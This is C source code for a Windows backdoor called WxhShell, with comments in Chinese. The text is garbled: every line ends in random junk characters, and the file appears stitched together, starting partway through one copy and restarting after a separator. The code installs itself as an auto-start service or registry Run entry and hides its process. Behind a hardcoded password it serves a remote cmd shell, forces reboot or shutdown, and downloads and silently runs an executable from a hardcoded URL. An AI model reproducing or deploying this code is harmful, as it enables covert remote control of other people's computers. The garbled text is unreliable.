    if(Boot(SHUTDOWN)) 96; gzG@1!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ut/%+r"s  
    else { r1=j$G  
    closesocket(wsh); b8%TwYp  
    ExitThread(0); {od@S l  
    } &(p5z4Df  
    break; pnL[FMc  
    } Ll#W:~  
  // 获取shell rAqS;@]0  
  case 's': { QaA?UzB  
    CmdShell(wsh); u2fp~.'P  
    closesocket(wsh); ?V~vP%1  
    ExitThread(0); +RiI5.$=Z  
    break; q^ &r<i  
  } z/WGL  
  // 退出 X -=M>H^  
  case 'x': { u35"oLV6}#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); DV>;sCMJ %  
    CloseIt(wsh); VKlC`k8L  
    break; ]vV)$xMX  
    } Q$k#q<+0  
  // 离开 B o%Sl  
  case 'q': { SY@;u<Pd   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jlqSw4_  
    closesocket(wsh); E1w8d4P,G  
    WSACleanup(); c7[Ba\Cr4h  
    exit(1); zR/mz)6_  
    break; xBf->o S?  
        } U1 rr=h g  
  } zqQ[uO]m?  
  } )>"Ky  
s bR*[2  
  // 提示信息 @W==)S%O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V)u#=OS  
} /3sX>Rj  
  } '0o^T 7C  
t0/Ol'kgs  
  return; Rz&}e@stl  
} ,Qo:]Mj  
:v$)Z~  
// shell模块句柄 xwHE,ykE  
int CmdShell(SOCKET sock) c7WOcy@M  
{ ,":_CY4(  
STARTUPINFO si; t56PzT'M  
ZeroMemory(&si,sizeof(si)); {%&04yq+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S<i. O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2#/sIu-L  
PROCESS_INFORMATION ProcessInfo; X(8LhsP  
char cmdline[]="cmd"; ^q%f~m,O<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nYvkeT  
  return 0; Lm1JiP s d  
} eIf-7S]m  
,[dvs&-*  
// 自身启动模式 Dk2Zl  
int StartFromService(void) ~,8#\]xR  
{ q@ wX=  
typedef struct L`9.Gf  
{ E7w^A  
  DWORD ExitStatus; . _Jypk8  
  DWORD PebBaseAddress; cbzS7q<)  
  DWORD AffinityMask; C}L2'l,  
  DWORD BasePriority; *&+zI$u(  
  ULONG UniqueProcessId; W(-son~I  
  ULONG InheritedFromUniqueProcessId; 0&\71txrzg  
}   PROCESS_BASIC_INFORMATION; a^[s[j#^,  
h\~!!F  
PROCNTQSIP NtQueryInformationProcess; +;oR_]l  
}6{00er  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8f%OPcr&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; WOeLn[  
p=i6~   
  HANDLE             hProcess; Xw|-v$'y  
  PROCESS_BASIC_INFORMATION pbi; v v5rA 6+  
J^PFhu  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  R; &k/v  
  if(NULL == hInst ) return 0; hD,|CQ  
D+q z`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [;:ocy  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CkV -L4Jq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r5$!41   
VOg'_#I  
  if (!NtQueryInformationProcess) return 0; -?IF'5z  
``{GU}n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N6A|  
  if(!hProcess) return 0; xnw'&E  
(VHPcoL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WV p6/HS  
R 4DfqX  
  CloseHandle(hProcess); NMrf I0tbG  
"st+2#{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); txX>zR*)  
if(hProcess==NULL) return 0; R-mn8N&  
EF9Y=(0|  
HMODULE hMod; |;p.!FO  
char procName[255]; 4gmlK,a  
unsigned long cbNeeded; g2u\gR5  
yKm6 8n^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Nm%#rZrN~Q  
Uw3wR!:  
  CloseHandle(hProcess); /pLf?m9  
oBo |eRIt|  
if(strstr(procName,"services")) return 1; // 以服务启动 x7jFYC  
vuJEPn%  
  return 0; // 注册表启动 AOV{@ b(  
} _?I*:: I  
34_ V&8  
// 主模块 <R_)[{ 7  
int StartWxhshell(LPSTR lpCmdLine) ) <w`:wD  
{ U5?QneK  
  SOCKET wsl; t23W=U  
BOOL val=TRUE; ^L.'At  
  int port=0; cveQ6 -`K  
  struct sockaddr_in door; ?k^m|Z  
:}gEt?TUhs  
  if(wscfg.ws_autoins) Install(); ZcTjOy?  
[ThAv Q_$  
port=atoi(lpCmdLine); L EFLKC  
xv%]g= Q  
if(port<=0) port=wscfg.ws_port; GE !p  
W}%[i+  
  WSADATA data; 6%wlz%Fp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C!6D /S  
|=:hUp Jp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [O]rf+NZ(5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G6JP3dOT  
  door.sin_family = AF_INET; ~HKzqGQy >  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :$P1ps3B  
  door.sin_port = htons(port); d%E*P4Ua  
GR 1%(,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Cyo:Da  A  
closesocket(wsl); Y'+K U/H  
return 1; x>T+k8[n  
} i]qxF&1  
E7/i_Xkk  
  if(listen(wsl,2) == INVALID_SOCKET) { >8$Lqj^i  
closesocket(wsl); ::cI4D  
return 1; L{&Yh|}  
} )YwLj&e4tf  
  Wxhshell(wsl); oP:R1<  
  WSACleanup(); QDb8W*&<  
?_T[]I'  
return 0; g+?2@L$L  
\,lIPA/L  
} 7fl{<uf  
s={IKU&m[  
// 以NT服务方式启动 e :T9f('  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4|4[3Ye7u:  
{ @_ UI;*V  
DWORD   status = 0; @`iz0DPG?Y  
  DWORD   specificError = 0xfffffff; vM:c70=  
t=jG$A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^U,Dx  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; gplrJaH@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ev3,p`zS._  
  serviceStatus.dwWin32ExitCode     = 0; 7m:TY>{  
  serviceStatus.dwServiceSpecificExitCode = 0; nXjSf  
  serviceStatus.dwCheckPoint       = 0; }n"gX>e~  
  serviceStatus.dwWaitHint       = 0; BhiOV_}Hn  
.VohW=D3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |M18/{  
  if (hServiceStatusHandle==0) return; QpS7 nGev  
jI<_(T  
status = GetLastError(); {*<%6?  
  if (status!=NO_ERROR) s'Qmr s a  
{ :H:+XIgoR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -e0?1.A$  
    serviceStatus.dwCheckPoint       = 0; WKwYSbs(  
    serviceStatus.dwWaitHint       = 0; vw-y:,5`t8  
    serviceStatus.dwWin32ExitCode     = status; h&~9?B  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2~V"[26t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \zOsq5}  
    return; k(@W z>aCv  
  } ]a[2QQ+g  
:0bjPQj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P=s3&NDD  
  serviceStatus.dwCheckPoint       = 0; 4`Jf_C  
  serviceStatus.dwWaitHint       = 0; J]Rh+@r.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lfr^NxOU  
} m SO7r F  
sG^{ cn  
// 处理NT服务事件,比如:启动、停止 C@pn4[jTl  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 19%zcYTe  
{ C3 BoH&  
switch(fdwControl) d vo|9 >  
{ lB!M;2^)X  
case SERVICE_CONTROL_STOP: ZzP&Zrm  
  serviceStatus.dwWin32ExitCode = 0; oqg +<m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,v?FR }v  
  serviceStatus.dwCheckPoint   = 0; d\8j!F^=  
  serviceStatus.dwWaitHint     = 0; TFz k5  
  { b%0@nu4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dh%DALZ8t  
  } V`1x![\  
  return; 6l2Os $  
case SERVICE_CONTROL_PAUSE: ?>gr9w\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S9'Xsh  
  break; ;3%Y@FS@  
case SERVICE_CONTROL_CONTINUE: UVW4KUxR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vjA!+_I6  
  break; a^Q ?K\c4N  
case SERVICE_CONTROL_INTERROGATE: .*z$vl  
  break; \c!e_rZ  
}; V=YDqof  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gN*b~&G  
} {xICR ~,*  
rMw$T=Oi  
// 标准应用程序主函数 k"m+i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t%@u)bp  
{ ~3%aEj  
TKVS%//  
// 获取操作系统版本 aEun *V^,  
OsIsNt=GetOsVer(); ]Z52L`k  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }VHvC"   
~&"'>C#  
  // 从命令行安装 0r?]b*IEK  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,8cVv->u/  
Y@ vC!C  
  // 下载执行文件 ,kl``w|1M  
if(wscfg.ws_downexe) { *)vy%\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R0|4KT-i  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7$8DMBqq  
} -M4VC^_  
IIF <Zkpb  
if(!OsIsNt) { $if(n||  
// 如果时win9x,隐藏进程并且设置为注册表启动 rX)_!mR  
HideProc(); ]u:Ij|.'y0  
StartWxhshell(lpCmdLine); kxmsrQ>av  
} w$ ""])o,  
else $4^h>x  
  if(StartFromService()) \XfLTv  
  // 以服务方式启动 JbN,K  
  StartServiceCtrlDispatcher(DispatchTable); CioS}K  
else \6pQ&an  
  // 普通方式启动 Gh<#wa['}  
  StartWxhshell(lpCmdLine); #F6M<V'  
BJ5^-|  
return 0; ofsLx6Po  
} 8N3rYx;d~  
!P":z0K4  
(nYGN$qC9  
/J(~NGT  
=========================================== : ?>yi7w  
 &'?Hh(  
OM`Ws5W}f  
~D`  
U99Uny9  
Cm0K-~ U  
" A7T(p7pP  
uC[F'\Y  
#include <stdio.h> 0C6T>E7  
#include <string.h> 7y$U$6  
#include <windows.h> ME.!l6lm\  
#include <winsock2.h> Qtt3;5m  
#include <winsvc.h> |D[LU[<C  
#include <urlmon.h> Or55_E  
E5a7p.  
#pragma comment (lib, "Ws2_32.lib") qa4j>;  
#pragma comment (lib, "urlmon.lib") hZ')<@hNP  
pr1kYMrqri  
#define MAX_USER   100 // 最大客户端连接数 \FnR'ne  
#define BUF_SOCK   200 // sock buffer oxJAI4{y 4  
#define KEY_BUFF   255 // 输入 buffer 1KjzKFnb  
Q@"!uB.e  
#define REBOOT     0   // 重启 zQ(`pld  
#define SHUTDOWN   1   // 关机 !wZIXpeL  
R~;8v1>K  
#define DEF_PORT   5000 // 监听端口 7&(h_}Z  
tqL2' (=  
#define REG_LEN     16   // 注册表键长度 }*vE/W  
#define SVC_LEN     80   // NT服务名长度 Q<yvpT(  
t"5ZYa  
// 从dll定义API R?Ch8mW.!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); };f^*KZ=0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Kp!A ay  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UlPGB2B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V|/N-3M  
?.c:k;j  
// wxhshell配置信息 6w_TL< S  
struct WSCFG { mILCC} Kt  
  int ws_port;         // 监听端口 ~b%dBn]n>  
  char ws_passstr[REG_LEN]; // 口令 Oe;1f#` 5  
  int ws_autoins;       // 安装标记, 1=yes 0=no Fz5eCe\B  
  char ws_regname[REG_LEN]; // 注册表键名 *|gl1S  
  char ws_svcname[REG_LEN]; // 服务名 P~PM$e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f9O_M1=|lo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 bP%X^q~]A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E#cu}zi  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b{ tp qNm~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t7*F,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lk=[Xo  
Yqv!ZJ6  
};  O@skd2  
" ^!=e72  
// default Wxhshell configuration F3x*dq2  
struct WSCFG wscfg={DEF_PORT, cb/$P!j7  
    "xuhuanlingzhe", qV-1aaA  
    1, uX6rCokr  
    "Wxhshell", Ml )<4@  
    "Wxhshell", sXY{g0%  
            "WxhShell Service", o ?aF  
    "Wrsky Windows CmdShell Service", wBEBj7(y  
    "Please Input Your Password: ", 4Vd[cRh2  
  1, TeyFq0j@'  
  "http://www.wrsky.com/wxhshell.exe", Vw`%|x"Xz  
  "Wxhshell.exe" (R9"0WeF  
    }; 2<d'!cm  
nk;+L  
// 消息定义模块 f*^bV_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \)2'+R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ix0#eoj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Eks<O  
char *msg_ws_ext="\n\rExit."; =!/T4Oo  
char *msg_ws_end="\n\rQuit."; $MM[`^~  
char *msg_ws_boot="\n\rReboot..."; \@zoM:[sN  
char *msg_ws_poff="\n\rShutdown..."; \[/}Cy  
char *msg_ws_down="\n\rSave to "; Yfy";C7X  
QHtN_Q_F  
char *msg_ws_err="\n\rErr!"; >}d6)s|   
char *msg_ws_ok="\n\rOK!"; fr8';Jm  
@[Wf!8_  
char ExeFile[MAX_PATH]; cVSns\QO  
int nUser = 0; GbvbGEG  
HANDLE handles[MAX_USER]; hK3Twzte  
int OsIsNt; 8L`wib2  
zv^+8h7k  
SERVICE_STATUS       serviceStatus; xJOp ~fKG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |{rhks~  
9MbF:  
// 函数声明 4%6@MQ[  
int Install(void); 0;w84>M  
int Uninstall(void); ^C}f|{J  
int DownloadFile(char *sURL, SOCKET wsh); U?Vik  
int Boot(int flag); -tp3qi  
void HideProc(void); T7(d  
int GetOsVer(void); "i!W(}x+  
int Wxhshell(SOCKET wsl); cu#r#0U-  
void TalkWithClient(void *cs); 'yh)6mid  
int CmdShell(SOCKET sock); +u lxCm_lV  
int StartFromService(void); 6 I43a1[s  
int StartWxhshell(LPSTR lpCmdLine); cq/@ng*o  
R0F&!y!B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o ,8;=f,7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); BM87f:d  
_9S"rH[  
// 数据结构和表定义 -@~4:o  
SERVICE_TABLE_ENTRY DispatchTable[] = *]DO3Zw'  
{ iZ( Jw Y  
{wscfg.ws_svcname, NTServiceMain}, n+ s=u$%qn  
{NULL, NULL} 0 Cyus  
}; VI.Cmw~S  
"DRiJ.|APs  
// 自我安装 B.);Ju  
int Install(void) -y/Y%]%0  
{ T6\d]  
  char svExeFile[MAX_PATH]; w~n+hhMF  
  HKEY key; }xgs]\^,73  
  strcpy(svExeFile,ExeFile); yXf+dMv  
j3[kG#  
// 如果是win9x系统,修改注册表设为自启动 G420o}q  
if(!OsIsNt) { Z,>owoP4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (T.j3@Ko  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ixqvX4vv,B  
  RegCloseKey(key); &-Q_%eM^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &7eN EA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6?/f $,v  
  RegCloseKey(key); =$_kkVQ$  
  return 0; p;mV?B?oAQ  
    } `*B6T7p1  
  } ^Jc|d,u;s  
} 1=^|  
else { ayN[y  
LVy (O9g  
// 如果是NT以上系统,安装为系统服务 b >'c   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O`;o"\P<  
if (schSCManager!=0) `U>]*D68  
{ .pblI  
  SC_HANDLE schService = CreateService c Hnd gUW]  
  ( c2PBYFCyC  
  schSCManager, r6nWrO>y  
  wscfg.ws_svcname, }'uV{$  
  wscfg.ws_svcdisp, ];u nR<H  
  SERVICE_ALL_ACCESS, _A=i2?g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *(sv5c!0M8  
  SERVICE_AUTO_START, ) gxN' z  
  SERVICE_ERROR_NORMAL, XMLl>w2z  
  svExeFile, ^>z+e"PQA  
  NULL, 5&]a8p{  
  NULL, ?VyiR40-Cx  
  NULL, T5_rPz  
  NULL, _t6 .9CXl  
  NULL rt\.|Hr4s  
  ); sDkO!P  
  if (schService!=0) e )]  
  { i,l$1g-i  
  CloseServiceHandle(schService); Z{_YH7_  
  CloseServiceHandle(schSCManager); bq{eu#rQJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  X$_z"t  
  strcat(svExeFile,wscfg.ws_svcname); )%hW3w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jori,"s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +Ecn  
  RegCloseKey(key); qh6Q#s>tH  
  return 0; O/oLQoH  
    } 161IWos  
  }  |  
  CloseServiceHandle(schSCManager); [`1@`5SL-  
} \CYKj_c  
} &p55Cg@e)  
B06W(y,3Q>  
return 1; 1:q`KkJx  
} nDz.61$[  
, ksr%gR+  
// 自我卸载 W'v o?  
int Uninstall(void) RVr5^l;"  
{ 1\/^X>@W{  
  HKEY key; k%;oc$0G-3  
7<LCX{Uw  
if(!OsIsNt) { K>#QC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 48.4GwL7  
  RegDeleteValue(key,wscfg.ws_regname); 1CS\1[E  
  RegCloseKey(key); i8=+ <d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <qBM+m$|)  
  RegDeleteValue(key,wscfg.ws_regname); xqv&^,ic  
  RegCloseKey(key); $/Llzpvny  
  return 0; w[u>*I  
  } 5#dJga/88  
}  \ns} M3  
} _*wlK;`  
else { )J 8mn*  
(b7',:_U7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iz27yXHZ~  
if (schSCManager!=0) ziv*4  
{ p,3}A( >  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 352RJC  
  if (schService!=0) ;/!o0:m^I  
  { 3E!3kSh|  
  if(DeleteService(schService)!=0) { bMqFrG  
  CloseServiceHandle(schService); {wf5HA  
  CloseServiceHandle(schSCManager); u/J1Z>0  
  return 0; BoHNni  
  } }RUK?:lEA  
  CloseServiceHandle(schService); cEGR?4z  
  } <_SdW 5BF<  
  CloseServiceHandle(schSCManager); <lRjh7  
} )~ ^`[`  
} GGsAisF"N  
MKX58y{+  
return 1; s6Il3K f  
} `X(H,Q}*;  
)c<[@ ::i  
// 从指定url下载文件 /Nhc|x6zQ  
int DownloadFile(char *sURL, SOCKET wsh) *b"aJ<+  
{ V%voe  
  HRESULT hr; E=ObfN"ge  
char seps[]= "/"; "!:)qVL^  
char *token; tV2o9!N4  
char *file; /#[mV(k  
char myURL[MAX_PATH]; %kuUQ%W1  
char myFILE[MAX_PATH]; jPs{Mr<  
u&e?3qKX(  
strcpy(myURL,sURL); qCm8R@  
  token=strtok(myURL,seps); n9V8A[QJ  
  while(token!=NULL) 5e^z]j1Yv  
  { 5a:YzQ4  
    file=token; FaKZ|~Y e  
  token=strtok(NULL,seps); <'~6L#>,<  
  } "7w=LhzV[$  
'T]Ok\  
GetCurrentDirectory(MAX_PATH,myFILE); -gv[u,R  
strcat(myFILE, "\\"); %Lp#2?*  
strcat(myFILE, file); % "^CrG  
  send(wsh,myFILE,strlen(myFILE),0); O{EbL5p  
send(wsh,"...",3,0); +^[SXI^JaJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q>WnSm5R  
  if(hr==S_OK) !y3XIbdS"  
return 0; 3o#K8EL  
else Ba76~-gK$  
return 1; 8o466m6/  
=h/61Bl3  
} cea e~  
8TYoa:pZ  
// 系统电源模块 <m%ZDOMa  
int Boot(int flag) "j=E8Dd}  
{ |A2o$H  
  HANDLE hToken; YOUX  
  TOKEN_PRIVILEGES tkp; ~oRT@E  
H5be5  
  if(OsIsNt) { wif1|!aL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5.lg*vh  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -5@hU8B'a  
    tkp.PrivilegeCount = 1; 1|$J>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *nwH1FjH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b[MKo7  
if(flag==REBOOT) { B8>@q!G8P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5oo6d4[  
  return 0; [2ri=lf,  
} ;V bB]aUg  
else { }*7Gq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~31-)*tJ]  
  return 0; 4\ny]A:~  
} ?_. SV g  
  } Pxgal4{6  
  else { 8Y;2.Z`Rz  
if(flag==REBOOT) { g>{t>B%v^K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j+2-Xy'  
  return 0; <4N E)!#  
} Q;kl-upn~8  
else { b 2~5LZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <@;bxSUx  
  return 0; _$KkSMA~_  
} afjEN y1  
} \<\147&)r  
x #t?`  
return 1; q0@b d2}  
} }{.V^;  
\# 1p  
// win9x进程隐藏模块 e?;  
void HideProc(void) R[H#a v  
{ \M~uNWv|  
B XO,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9/O\769"'  
  if ( hKernel != NULL ) m [BV{25  
  { I<S*"[nV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u89Q2\z~"M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )Zrn?KM  
    FreeLibrary(hKernel); |Rb8 / WX  
  } #2%8@?_-M  
TIno"tc3  
return; gKRlXVS  
} |j4;XaG)  
TtgsM}Fm  
// 获取操作系统版本 W&2r{kCsQ  
int GetOsVer(void) MgH O WoF  
{ o>I,$=  
  OSVERSIONINFO winfo; \$,8aRT>#U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,?!MVN-  
  GetVersionEx(&winfo); %%lJyLq'Vk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) EH]qYF.  
  return 1; TZarI-A  
  else }jYVB|2  
  return 0; isz-MP$:K5  
} {-yw@Kq  
#W/ATsDt  
// 客户端句柄模块 jr^btVOI#\  
int Wxhshell(SOCKET wsl) ty8E;[ '  
{ K%;=i2:  
  SOCKET wsh; AdRK)L  
  struct sockaddr_in client; ephvvj~zW4  
  DWORD myID; KnUVR!H|  
!Za yN  
  while(nUser<MAX_USER) P#AS")Sj  
{ HcHwvf6y  
  int nSize=sizeof(client); vP,$S^7$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O*c<m,  
  if(wsh==INVALID_SOCKET) return 1; l@>@2CB  
8B6 -f:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q 2 B  
if(handles[nUser]==0) ex|h&Vma2V  
  closesocket(wsh); #m3!U(Og`  
else m|PJwd6  
  nUser++; =an 0PN  
  } c>wn e\(5H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9M@,BXOt  
@[]#[7  
  return 0; %4Yq (e  
} \Z-Fu=8J8^  
w+hpi5OH  
// 关闭 socket |^OK@KdL1  
void CloseIt(SOCKET wsh) Uq.hCb`:  
{ B9]bv]  
closesocket(wsh); ]i8t  
nUser--; <6C:\{eo  
ExitThread(0); ghW  
} ZN!<!"~  
{}BAQ9|q  
// 客户端请求句柄 3lN@1jlh  
void TalkWithClient(void *cs) l_P90zm39!  
{ U"L-1]L  
BxB B](  
  SOCKET wsh=(SOCKET)cs; zEw~t&:e  
  char pwd[SVC_LEN]; Sp[]vm8N  
  char cmd[KEY_BUFF]; 2FR 5RG oD  
char chr[1]; gN[^ ,u  
int i,j; ^O&&QRH~w  
~ F>'+9?Sn  
  while (nUser < MAX_USER) { fPG3$<Zr  
h79~d%-  
if(wscfg.ws_passstr) { h/*@ML+bB8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dyl1~'K^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n39EKH rm%  
  //ZeroMemory(pwd,KEY_BUFF); _U Y5  
      i=0; cuL/y$+EY  
  while(i<SVC_LEN) { u"DE?  
CM)V^k*  
  // 设置超时 <>V~  
  fd_set FdRead; Ka$lNL3<j  
  struct timeval TimeOut; e /L([  
  FD_ZERO(&FdRead); HP:[aR!2P  
  FD_SET(wsh,&FdRead); AL|3_+G  
  TimeOut.tv_sec=8; D{JwZL@7k2  
  TimeOut.tv_usec=0; C4gzg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~Jlq.S'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Nf}i /  
}Zfi/^0U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L),bP fz  
  pwd=chr[0]; r"dR}S.Uf  
  if(chr[0]==0xd || chr[0]==0xa) { *TPWLR ^  
  pwd=0; Y /l~R7  
  break; -:Bgp*S  
  } qpq(<  
  i++; A| y U'k  
    } \ !IEZ  
P[jh^!<j  
  // 如果是非法用户,关闭 socket lz _ r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c-4z8T#M^  
} q&^H" fF  
6Ia[`x uL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3=%G{L16-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '30JJ0  
w7f)v\p  
while(1) { 7yOBxb   
sY?sQ'E2]  
  ZeroMemory(cmd,KEY_BUFF); =]1g*~%  
Ho $+[K  
      // 自动支持客户端 telnet标准   kH4m6p  
  j=0; fr&p0)85>B  
  while(j<KEY_BUFF) { j_S3<wEJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1D%E})B6  
  cmd[j]=chr[0]; 8tzL.P^  
  if(chr[0]==0xa || chr[0]==0xd) { a>k9& w  
  cmd[j]=0; yGH')TsjD  
  break; \8USFN~(Y  
  } Is9.A_0h  
  j++; 38%"#T3#  
    } 7?\r9bD  
B)rBM  
  // 下载文件 ovaX_d)cU  
  if(strstr(cmd,"http://")) { 7H4kj7UK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y(=0  
  if(DownloadFile(cmd,wsh)) |7!Bk$(vA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $)'LbOe  
  else qos/pm$&i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~w(A3I.  
  } UU ' 9  
  else { ::@JL  
J!}R>mR  
    switch(cmd[0]) { ajX] ui  
  rw?wlBEG%  
  // 帮助 8yM8O #S  
  case '?': { ?F~0\T,7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jH<,dG:{  
